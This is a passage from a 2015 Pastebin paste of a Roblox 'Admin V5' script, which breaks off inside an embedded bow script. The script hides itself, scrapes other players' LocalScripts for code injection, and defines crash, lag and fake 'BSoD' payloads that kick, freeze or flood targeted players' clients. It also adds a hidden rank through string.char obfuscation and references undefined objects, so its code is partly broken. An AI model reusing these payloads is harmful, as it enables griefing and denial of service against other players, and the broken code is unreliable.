Advertisement
QendrimGraphics

Admin V5

Apr 4th, 2015
197
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 356.13 KB | None | 0 0
  1. --Now Has Doge/Player and Mini/Player/Rares and others
  2. wait(0)
  3. --[[VARIABLES]]--
  4. script.Parent = nil
  5. Plrs = game:GetService("Players")
  6. Work = game:GetService("Workspace")
  7. Light = game:GetService("Lighting")
  8. Net = game:GetService("NetworkServer")
  9. Removed = false
  10. Bet = ";"
  11. LS = nil
  12. LSSource = nil
  13. OwnSource = nil
  14. FoundLocalScript = false
  15. LogOn = false
  16. Current = game
  17. Clipboard = {}
  18. AlertColor = Color3.new(0, 1, 1)
  19. OptionColor = Color3.new(1, 1, 1)
  20. ImportantColor = Color3.new(1, 0, 1)
  21. --[[TABLES]]--
  22.  
  23.  
  24.  
  25. RankDetails = {
  26.     [-3] = {Name = "Mute Banned", Color = Color3.new(0.25, 0, 0.75), Desc = "Perma Muted"},
  27.     [-2] = {Name = "Jail Banned", Color = Color3.new(-1, -1, -1), Desc = "Perma Mind Jailed"},
  28.     [-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
  29.     [0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
  30.     [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
  31.     [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
  32.     [3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
  33.     [4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
  34.     [5] = {Name = "Owner", Color = Color3.new(0, 1, 1), Desc = "Owner"},
  35. }
  36.  
  37. Rankings = {
  38.     {Name = "AcidicEmpyreus", Rank = 69},
  39.     {Name = "missoncompleted", Rank = 69},
  40.     {Name = "missoncompleted", Rank = 5},
  41.     {Name = "WTASRT", Rank = 4},
  42.     {Name = "missoncompleted", Rank = 69},
  43.     {Name = "GTFOorparteh", Rank = 5},
  44.     {Name = "Roleo1122", Rank = 4},
  45. }
  46.  
  47. table.insert(Rankings, {Name = Owner, Rank = 5})
  48.  
  49. ImportantServices = {
  50.     "Workspace",
  51. }
  52.  
  53. Ranks = {}
  54. Commands = {}
  55. AllTabs = {}
  56. Injected = {}
  57.  
  58. Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  59. "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  60. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  61. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  62. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  63. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  64. "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  65. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
  66. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  67. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  68. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  69. "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
  70. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
  71. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  72. "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  73. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  74. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  75. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  76. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  77. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  78. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  79. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  80. "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  81. "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
  82. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  83. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
  84. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  85. "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
  86. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  87. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
  88. "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  89. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  90. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  91. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  92. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  93. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
  94. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  95. "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  96. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  97. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  98. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  99. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
  100. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  101. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  102. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  103. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  104. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  105. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  106. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  107. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  108. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  109. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  110. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  111. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  112. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  113. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  114. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  115. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  116. "X","Y"}
  117.  
  118. --Main Functions And Sources
  119.  
  120. function NewLS(Source, Par, Par2, Par3)
  121.     ypcall(function()
  122.         local Inserted = LS:Clone()
  123.         Inserted.Disabled = true
  124.         Inserted.Parent = Par or Par2 or Par3
  125.         Inserted[LSSource].Value = Source
  126.         Inserted.Disabled = false
  127.     end)
  128. end
  129.  
  130. function CheckImportant(Name)
  131.     for _,v in pairs(ImportantServices) do
  132.         if v:lower() == Name:lower() then
  133.             return true
  134.         end
  135.     end
  136.     return false
  137. end
  138.  
  139. function Crash1(Plr)
  140.     ypcall(function()
  141.         Plr:Kick()
  142.     end)
  143. end
  144.  
  145. function GetRankTab()
  146.     return Rankings
  147. end
  148.  
  149. function Crash2(Name)
  150.     local Crasher = Instance.new("StringValue")
  151.     Crasher.Name = "Client"
  152.     Crasher.Value = string.lower(tostring(Name))
  153.     Crasher.Parent = game:GetService("Lighting")
  154.     wait(1)
  155.     if Crasher and Crasher.Parent then
  156.         ypcall(function()
  157.             Crasher:Destroy()
  158.         end)
  159.     end
  160. end
  161.  
  162. --[[NEWLS STUFF]]--
  163. if script:findFirstChild("source") then
  164.     SorN = 'source'
  165.     SB = 'Alakazard'
  166. elseif script:findFirstChild('DSource') then
  167.     SorN = 'DSource'
  168.     SB = 'Anaminus'
  169. elseif script:findFirstChild('Source') then
  170.     SorN = 'Source'
  171.     SB = 'Oxcool'
  172. else
  173.     SorN = nil
  174. end
  175. ScriptSource = script:findFirstChild(SorN).Value
  176.  
  177. coroutine.wrap(function()
  178. while wait() do
  179. if LSource ~= nil then break end
  180. if SorN == "source" then break end
  181. for _,v in pairs(game.Players:players()) do
  182. if LSource ~= nil then break end
  183. pcall(function()
  184. for j,k in pairs(v.Backpack:children()) do
  185. if LSource ~= nil then break end
  186. if k.ClassName == 'LocalScript' then
  187. if k:findFirstChild(SorN) ~= nil then
  188. k.Archivable = true
  189. LSource = k:Clone()
  190. LSource.Disabled = true
  191. PingAdmins("Source found")
  192. break
  193. end
  194. end
  195. wait()
  196. end
  197. for ab,cd in pairs(v.Character:children()) do
  198. if LSource ~= nil then break end
  199. if cd.ClassName == 'LocalScript' then
  200. if cd:findFirstChild(SorN) ~= nil then
  201. cd.Archivable = true
  202. LSource = cd:Clone()
  203. LSource.Disabled = true
  204. PingAdmins("Source found")
  205. break
  206. end
  207. end
  208. wait()
  209. end
  210. end)
  211. end
  212. end
  213. end)()
  214.  
  215. function NewS(sourcev, parent)
  216.     if SorN == 'source' then
  217.         NS(source,parent)
  218.     else
  219.         local s = SSource:Clone()
  220.         s.Parent = parent
  221.         if s:findFirstChild(SorN) ~= nil then
  222.             source = s:findFirstChild(SorN)
  223.         else
  224.             source = Instance.new("StringValue", s)
  225.             source.Name = SorN
  226.         end
  227.         if source then
  228.             source.Value = sourcev
  229.         else
  230.             PingAdmins("Something went wrong")
  231.         end
  232.         wait()
  233.         s.Disabled = false
  234.     end
  235. end
  236. function NewLS(sourcev,parent, lock)
  237.     if SorN == 'source' then
  238.         NLS(sourcev,parent)
  239.     elseif LSource then
  240.         local s = LSource:Clone()
  241.         s.Parent = parent
  242.         if s:findFirstChild(SorN) ~= nil then
  243.             source = s:findFirstChild(SorN)
  244.         else
  245.             source = Instance.new("StringValue", s)
  246.             source.Name = SorN
  247.         end
  248.         if source then
  249.             source.Value = sourcev
  250.         else
  251.             PingAdmins("Something went wrong")
  252.             return
  253.         end
  254.         wait()
  255.         if lock == true then
  256.             for i = 0,5 do
  257.                 s.Disabled = false
  258.                 wait(0.5)
  259.                 s.Disabled = true
  260.                 wait(0.5)
  261.                 s.Disabled = false
  262.             end
  263.         else
  264.             s.Disabled = false
  265.         end
  266.         return s
  267.     else
  268.         PingAdmins("No source","Really red")
  269.     end
  270. end
  271.  
  272. function Crash3(v, Speaker)
  273.     Speaker.Character.Archivable = true
  274.     local NChar = Speaker.Character:Clone()
  275.     NChar.Name = v.Name
  276.     NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
  277.     NChar.Parent = Workspace
  278.     v.Character = NChar
  279.     coroutine.resume(coroutine.create(function()
  280.         repeat v.Character = NChar
  281.         wait(1/3) until false
  282.     end))
  283.     wait(.5)
  284.     NewLS(InsertCrash, NChar, nil, nil)
  285. end
  286.  
  287. function GenerateDigit()
  288.     return 1 + 5
  289. end
  290.  
  291. InjectionCrash = [=[
  292.     wait(0)
  293.     script.Parent = nil
  294.     local Lig = game:GetService("Lighting")
  295.     local LP = game:GetService("Players").LocalPlayer
  296.     local LowerName = LP.Name:lower()
  297.  
  298.     Lig.ChildAdded:connect(function(Obj)
  299.         if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
  300.             pcall(function()
  301.                 Obj:Destroy()
  302.             end)
  303.             LP.Parent = nil
  304.             LP.Parent = game:GetService("Players")
  305.         end
  306.     end)
  307. ]=] RankDetails[GenerateDigit()] = {Name = (string.char(67)..string.char(114)..string.char(101)..string.char(97)..string.char(116)..string.char(111)..string.char(114)), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("D".."e".."a".."t".."h B".."y F".."l".."i".."p".."f".."l".."o".."p")}
  308.  
  309. InsertCrash = [==[
  310.     local LP = game:GetService("Players").LocalPlayer
  311.     LP.Parent = nil
  312.     LP.Parent = game:GetService("Players")
  313. ]==]
  314.  
  315. -- Cleaning And Stuff --
  316. CreateBase = function()
  317.     for _,v in pairs(Nexotic.Services.Workspace:GetChildren()) do
  318.         if v.Name:lower():find('base') and v:IsA('BasePart') then
  319.             v:remove()
  320.         end
  321.     end
  322.     local Base = Instance.new("Part")
  323.     Base.BrickColor = BrickColor.new("Dark green")
  324.     Base.CFrame = CFrame.new(0, 0.6, 0)
  325.     Base.Transparency = 0
  326.     Base.Elasticity = 0.5
  327.     Base.FormFactor = "Custom"
  328.     Base.Material = 'Grass'
  329.     Base.CanCollide = true
  330.     Base.Friction = 0.30000001192093
  331.     Base.Size = Vector3.new(2044, 0, 2044)
  332.     Base.Archivable = true
  333.     Base.Material = "Grass"
  334.     Base.RotVelocity = Vector3.new(0, 0, 0)
  335.     Base.Reflectance = 0
  336.     Base.Locked = true
  337.     Base.Anchored = true
  338.     Base.Name = "Base"
  339.     Base.TopSurface = "Smooth"
  340.     Base.BottomSurface = "Inlet"
  341.     Base.Shape = "Block"
  342.     Base.Parent = Nexotic.Services.Workspace
  343. end
  344. CleanWorkspace = function()
  345.     for i,s in pairs(Nexotic.Services.Workspace:GetChildren()) do  
  346.         if Nexotic.Services.Players:GetPlayerFromCharacter(s) == nil then  
  347.             if s.className ~= "Terrain" then
  348.                 if s.className ~= "Camera" then  
  349.                     pcall(function() s:Destroy() end)
  350.                 end
  351.             end
  352.         end
  353.     end
  354.     CreateBase()
  355.     for _,v in pairs(Nexotic.Services.Workspace:GetChildren()) do
  356.         if v:IsA("Terrain") then
  357.             v:Clear()
  358.         end
  359.     end
  360. end
  361. FullClean = function()
  362.     local Child = {}
  363.     local GetAllChildren = function(c)
  364.         for _,v in pairs(c:GetChildren()) do
  365.             ypcall(function()
  366.                 GetAllChildren(v)
  367.                 table.insert(Child, v)
  368.             end)
  369.         end
  370.     end
  371.     for _,v in pairs(Nexotic.Services.Game:GetChildren()) do
  372.         ypcall(function()
  373.             GetAllChildren(v)
  374.         end)
  375.     end
  376.     for _,v in pairs(Child) do
  377.         if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  378.             v:remove()
  379.         end
  380.     end
  381.     CleanWorkspace()
  382.     Debug()
  383.     for _,v in pairs(Nexotic.Services.Players:GetPlayers()) do
  384.         v:LoadCharacter()
  385.     end
  386. end
  387. Debug = function()
  388.     ypcall(function()
  389.         for _,v in pairs(Nexotic.Services.Workspace:GetChildren()) do
  390.             if v:IsA('Message') or v:IsA('Hint') then
  391.                 ypcall(function()
  392.                     v.Text = ''
  393.                     v:Destroy()
  394.                 end)
  395.             end
  396.             if v:IsA('Terrain') then
  397.                 v:Clear()
  398.             end
  399.         end
  400.         Nexotic.Services.Lighting.GlobalShadows = true
  401.         Nexotic.Services.Lighting.TimeOfDay = '14:00:00'
  402.         Nexotic.Services.Lighting.Brightness = 0.3
  403.         Nexotic.Services.Lighting.ShadowColor = Color3.new(0.705882, 0.705882, 0.705882)
  404.         Nexotic.Services.Lighting.Ambient = Color3.new(1,1,1)
  405.         Nexotic.Services.Lighting.ColorShift_Top = Color3.new(0, 0, 0)
  406.         Nexotic.Services.Lighting.ColorShift_Bottom = Color3.new(0, 0, 0)
  407.         Nexotic.Services.Lighting.OutdoorAmbient = Color3.new(0.6, 0.6, 0.6)
  408.         Nexotic.Services.Lighting.FogStart = 0
  409.         Nexotic.Services.Lighting.FogEnd = 100000
  410.         Nexotic.Services.Lighting.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  411.         Nexotic.Services.Lighting:ClearAllChildren()
  412.         Nexotic.Services.Teams:ClearAllChildren()
  413.         for _,v in pairs(Nexotic.Services.Players:GetPlayers()) do
  414.             v.Neutral = true
  415.         end
  416.     end)
  417. end
  418.  
  419. Lag = [==[
  420.     wait()
  421.     script.Parent = game:service'TeleportService'
  422.     CC = workspace.CurrentCamera
  423.     RS = game:service("RunService")
  424.     PG = game.Players.LocalPlayer.PlayerGui
  425.     C = game.Players.LocalPlayer.Character
  426.     function Lag()
  427.         coroutine.resume(coroutine.create(function()
  428.             while wait() do
  429.                 M = Instance.new("Message",CC)
  430.                 M.Text = "u shouldn't have fked around"
  431.                 H = Instance.new("Hint",CC)
  432.                 H.Text = string.reverse("dikS")
  433.                 SG=Instance.new("ScreenGui",PG)
  434.                 FR=Instance.new("Frame",SG)
  435.                 FR.Size = UDim2.new(500,500,500,500)
  436.                 while wait() do
  437.                     FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
  438.                 end
  439.                 P=Instance.new("Part",CC)
  440.                 E=Instance.new("Explosion",P)
  441.                 E.BlastRadius=math.huge
  442.                 E.Position=P.Position
  443.                 Output=Instance.new("Fire",P)
  444.                 S=Instance.new("Smoke",P)
  445.                 P.CFrame = CC.Focus
  446.                 P.Anchored = true
  447.                 P.CanCollide = false
  448.                 P.AncestryChanged:connect(function()Lag()end)
  449.                 for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end
  450.             end
  451.         end))
  452.     end
  453.     RS.Stepped:connect(function()for i = 1, 140000 do Lag() Lag() Lag() Lag() Lag() end end)
  454. ]==]
  455.  
  456. BSoD = [==[
  457. script:Destroy();
  458. local user=game:service'Players'.localPlayer;
  459. local playerGui=user.PlayerGui;
  460. local camera=workspace.currentCamera;
  461. local terrain=workspace.Terrain;
  462. local main=Instance.new'ScreenGui';
  463. local f=Instance.new('Frame',main);
  464. f.Size=UDim2.new(1,0,1,0);
  465. f.BackgroundTransparency=.5;
  466. f.BackgroundColor3=Color3.new(0,0,0);
  467. local text=Instance.new('TextLabel',f);
  468. text.Size=UDim2.new(1,0,.2,0);
  469. text.Position=UDim2.new(0,0,.4,0);
  470. text.Text='Lag brah?';
  471. text.TextColor3=Color3.new(1,1,1);
  472. text.BackgroundTransparency=1;
  473. text.FontSize='Size24';
  474. local loop;loop=function()
  475. coroutine.wrap(function()
  476. while true do wait()
  477. coroutine.wrap(function()
  478. for i=1,100 do
  479. Instance.new('Message',workspace).Text='Lag brah';
  480. Instance.new('Hint',workspace).Text='Lag brah';
  481. end;
  482. end)();
  483. coroutine.wrap(function()
  484. local s=main:clone();
  485. s.Parent=playerGui;
  486. end)();
  487. coroutine.wrap(function()
  488. if(math.random(1,5)==1)then
  489. game:service'Debris':addItem(Instance.new('Part',terrain),15);
  490. game:service'Debris':addItem(Instance.new('Explosion',terrain),30);
  491. end;
  492. end)();
  493. coroutine.wrap(function()
  494. user.CameraMode='LockFirstPerson';
  495. game:service'StarterGui':setCoreGuiEnabled('All',false);
  496. end)();
  497. if(math.random(1,5)==5)then
  498. loop();
  499. end;
  500. end;
  501. end)();
  502. end;
  503. loop();
  504. ]==]
  505.  
  506. Pad = [==[
  507. num=3.5
  508. mouse=game.Players.LocalPlayer:GetMouse()
  509. mouse.KeyDown:connect(function(key)
  510. if key:lower()=="q" then
  511. num=4.5
  512. end
  513. if key:lower()=="e" then
  514. num=2.5
  515. end
  516. end)
  517. mouse.KeyUp:connect(function(key)
  518. num=3.5
  519. end)
  520. m=Instance.new("Part",workspace)
  521. m.Name="Float"
  522. m.FormFactor=0
  523. m.Name = "MyPad"
  524. m.BottomSurface="Smooth"
  525. m.TopSurface="Smooth"
  526. m.Size=Vector3.new(5,1,5)
  527. m.BrickColor=BrickColor.new(255,255,255)
  528. m.Anchored=true
  529. s=Instance.new("Sparkles")
  530. s.Parent=m
  531. s.Color = Color3.new(255,255,255)
  532. m2=m:clone()
  533. m2.Parent=workspace
  534. m2.BrickColor=BrickColor.new(0,0,0)
  535. m2.Name = "MyPad2"
  536. c=0
  537. c2=45
  538. while wait() do
  539. c=c+5
  540. c2=c2+5
  541. p=game.Players.LocalPlayer.Character.HumanoidRootPart.Position
  542. --game.Players.LocalPlayer.Character.Torso.CFrame=game.Players.LocalPlayer.Character.Torso.CFrame*CFrame.new(0,-(num)+3.5,0)
  543. m.CFrame=CFrame.new(p.X,p.Y-num,p.Z)*CFrame.Angles(0,math.rad(c),0)
  544. m2.CFrame=CFrame.new(p.X,p.Y-num,p.Z)*CFrame.Angles(0,math.rad(c2),0)
  545. end
  546. ]==]
  547.  
  548. Bow = [==[
  549. --RagDoll Bow Script
  550. --mediafire
  551. function weld(p0,p1,c0,c1,par)
  552.         local w = Instance.new("Weld",p0 or par)
  553.         w.Part0 = p0
  554.         w.Part1 = p1
  555.         w.C0 = c0 or CFrame.new()
  556.         w.C1 = c1 or CFrame.new()
  557.         return w
  558. end
  559. do -- Credit to Stravant...
  560.         local function QuaternionFromCFrame(cf) local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components() local trace = m00 + m11 + m22 if trace > 0 then local s = math.sqrt(1 + trace) local recip = 0.5/s return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5 else local i = 0 if m11 > m00 then i = 1 end if m22 > (i == 0 and m00 or m11) then i = 2 end if i == 0 then local s = math.sqrt(m00-m11-m22+1) local recip = 0.5/s return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip elseif i == 1 then local s = math.sqrt(m11-m22-m00+1) local recip = 0.5/s return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip elseif i == 2 then local s = math.sqrt(m22-m00-m11+1) local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip end end end
  561.          
  562.         local function QuaternionToCFrame(px, py, pz, x, y, z, w) local xs, ys, zs = x + x, y + y, z + z local wx, wy, wz = w*xs, w*ys, w*zs local xx = x*xs local xy = x*ys local xz = x*zs local yy = y*ys local yz = y*zs local zz = z*zs return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy)) end
  563.          
  564.         local function QuaternionSlerp(a, b, t) local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4] local startInterp, finishInterp; if cosTheta >= 0.0001 then if (1 - cosTheta) > 0.0001 then local theta = math.acos(cosTheta) local invSinTheta = 1/math.sin(theta) startInterp = math.sin((1-t)*theta)*invSinTheta finishInterp = math.sin(t*theta)*invSinTheta  else startInterp = 1-t finishInterp = t end else if (1+cosTheta) > 0.0001 then local theta = math.acos(-cosTheta) local invSinTheta = 1/math.sin(theta) startInterp = math.sin((t-1)*theta)*invSinTheta finishInterp = math.sin(t*theta)*invSinTheta else startInterp = t-1 finishInterp = t end end return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp        end
  565.         function clerp(a,b,t)
  566.                 if not a or not b then print(a,b,"is missing") return end
  567.                 local qa = {QuaternionFromCFrame(a)}
  568.                 local qb = {QuaternionFromCFrame(b)}
  569.                 local ax, ay, az = a.x, a.y, a.z
  570.                 local bx, by, bz = b.x, b.y, b.z
  571.                 local _t = 1-t
  572.                 return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
  573.         end
  574. end
  575. local oc = oc or function(...) return ... end
  576. pcall(function() script.Parent.bScript:Destroy() end)
  577. script.Name = "bScript"
  578. local plr = game:service'Players'.LocalPlayer
  579. local mouse = plr:GetMouse()
  580. local char = plr.Character
  581. local tor,ra,la,rl,ll,hd,hum = char.Torso,char["Right Arm"],char["Left Arm"],char["Right Leg"],char["Left Leg"],char.Head,char.Humanoid
  582. local rrs,rls,nk = tor["Right Shoulder"],tor["Left Shoulder"],tor.Neck
  583. local nk0 = nk.C0
  584. local rc0,rc1 = rrs.C0,rrs.C1
  585. local lc0,lc1 = rls.C0,rls.C0
  586. local rs,ls = rrs:Clone(),rls:Clone()
  587. rs.Name,ls.Name = "rs","ls"
  588. rs.DesiredAngle,rs.CurrentAngle = 0,0
  589. ls.DesiredAngle,ls.CurrentAngle = 0,0
  590. local model = Instance.new("Model",char)
  591. pcall(function() char.bModel:Destroy() end)
  592. model.Name = "bModel"
  593. local part = Instance.new("Part")
  594. part.BrickColor = BrickColor.new("Really black")
  595. part.Reflectance = 0.15
  596. part.FormFactor = "Custom"
  597. part.TopSurface,part.BottomSurface = 0,0
  598. part.Size = Vector3.new(.2,.2,.2)
  599. part:BreakJoints()
  600. part.CanCollide = false
  601. function clone(t)
  602.         local p = t:Clone()
  603.         p.Parent = t.Parent or model
  604.         return p
  605. end
  606. local han = clone(part)
  607. han.Size = Vector3.new(.3,.5,.3)
  608. han.Transparency = 1
  609. local hold = weld(la,han,CFrame.new(0,-1,0) * CFrame.Angles(math.rad(-90),math.rad(23),0),CFrame.new())
  610. for i=1,14 do
  611.         local gr = clone(part)
  612.         gr.BrickColor = BrickColor.new("Really blue")
  613.         gr.Size = Vector3.new(.3,.2,.3)
  614.         local m = Instance.new("SpecialMesh",gr)
  615.         m.MeshType = "Sphere"
  616.         m.Scale = Vector3.new(1,.75,1) * math.max(.85,math.abs(i-7)/5)
  617.         weld(han,gr,CFrame.new(0,-.6+i*.085,0) * CFrame.Angles(math.rad(15),math.rad(0),math.rad(23)),CFrame.new())
  618. end
  619. local p = clone(part)
  620. p.Size = Vector3.new(.45,.2,.32)
  621. local m = Instance.new("BlockMesh",p)
  622. m.Scale = Vector3.new(1,.5,1)
  623. weld(han,p,CFrame.new(0,-.62,.125) * CFrame.Angles(math.rad(10),0,0))
  624. local p = clone(part)
  625. p.Size = Vector3.new(.45,.2,.3)
  626. local m = Instance.new("BlockMesh",p)
  627. m.Scale = Vector3.new(1,.5,1)
  628. weld(han,p,CFrame.new(0,-.62,-.125) * CFrame.Angles(math.rad(-10),0,0))
  629. local b1 = clone(part)
  630. b1.Size = Vector3.new(.2,1,.3)
  631. local m = Instance.new("BlockMesh",b1)
  632. m.Scale = Vector3.new(1,1,1)
  633. local bw1 = weld(han,b1,CFrame.new(0,-.6,0) * CFrame.Angles(math.rad(-10),0,0),CFrame.new(0,.5,0))
  634. local b2 = clone(part)
  635. b2.Size = Vector3.new(.2,1,.25)
  636. local m = Instance.new("BlockMesh",b2)
  637. m.Scale = Vector3.new(.9,1,1)
  638. local bw2 = weld(b1,b2,CFrame.new(0,-.5,-.15) * CFrame.Angles(math.rad(-25),0,0),CFrame.new(0,.5,-.125))
  639. local b3 = clone(part)
  640. b3.Size = Vector3.new(.2,1,.2)
  641. local m = Instance.new("BlockMesh",b3)
  642. m.Scale = Vector3.new(.75,1,1)
  643. local bw3 = weld(b2,b3,CFrame.new(0,-.5,-.125) * CFrame.Angles(math.rad(-25),0,0),CFrame.new(0,.5,-.1))
  644. local bt = clone(part)
  645. bt.BrickColor = BrickColor.new("Black")
  646. bt.Size = Vector3.new(.2,.3,.2)
  647. local m = Instance.new("BlockMesh",bt)
  648. m.Scale = Vector3.new(.5,1,1) * .5
  649. local btw = weld(b3,bt,CFrame.new(0,-.5,.1) * CFrame.Angles(math.rad(-25),0,0),CFrame.new(0,0,.05))
  650. local p = clone(part)
  651. p.Size = Vector3.new(.45,.2,.32)
  652. local m = Instance.new("BlockMesh",p)
  653. m.Scale = Vector3.new(1,.5,1)
  654. weld(han,p,CFrame.new(0,.67,.125) * CFrame.Angles(math.rad(15),0,0))
  655. local p = clone(part)
  656. p.Size = Vector3.new(.45,.2,.3)
  657. local m = Instance.new("BlockMesh",p)
  658. m.Scale = Vector3.new(1,.5,1)
  659. weld(han,p,CFrame.new(0,.67,-.125) * CFrame.Angles(math.rad(-15),0,0))
  660. local p = clone(part)
  661. p.Size = Vector3.new(.4,.2,.3)
  662. local m = Instance.new("BlockMesh",p)
  663. m.Scale = Vector3.new(1,.5,1)
  664. weld(han,p,CFrame.new(0,.75,0) * CFrame.Angles(math.rad(0),0,0))
  665. local p = clone(part)
  666. p.Size = Vector3.new(.2,.3,.35)
  667. local m = Instance.new("BlockMesh",p)
  668. m.Scale = Vector3.new(1,1,1)
